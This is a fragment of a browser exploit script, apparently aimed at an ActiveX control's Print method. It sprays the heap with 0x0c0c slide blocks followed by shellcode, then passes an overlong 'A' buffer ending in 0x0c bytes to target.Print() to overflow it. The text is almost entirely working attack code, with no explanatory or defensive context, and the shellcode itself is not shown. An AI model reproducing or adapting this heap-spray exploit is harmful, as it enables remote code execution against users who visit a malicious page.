var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("ఌఌ");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress-0x100000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
var str1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
str=str1+str1+str1+str1+str1+str1+str1+str1+str1+str1+str1+str1+"\x0c\x0c\x0c\x0c";
target.Print(str,1,1,1,1);
</SCRIPT>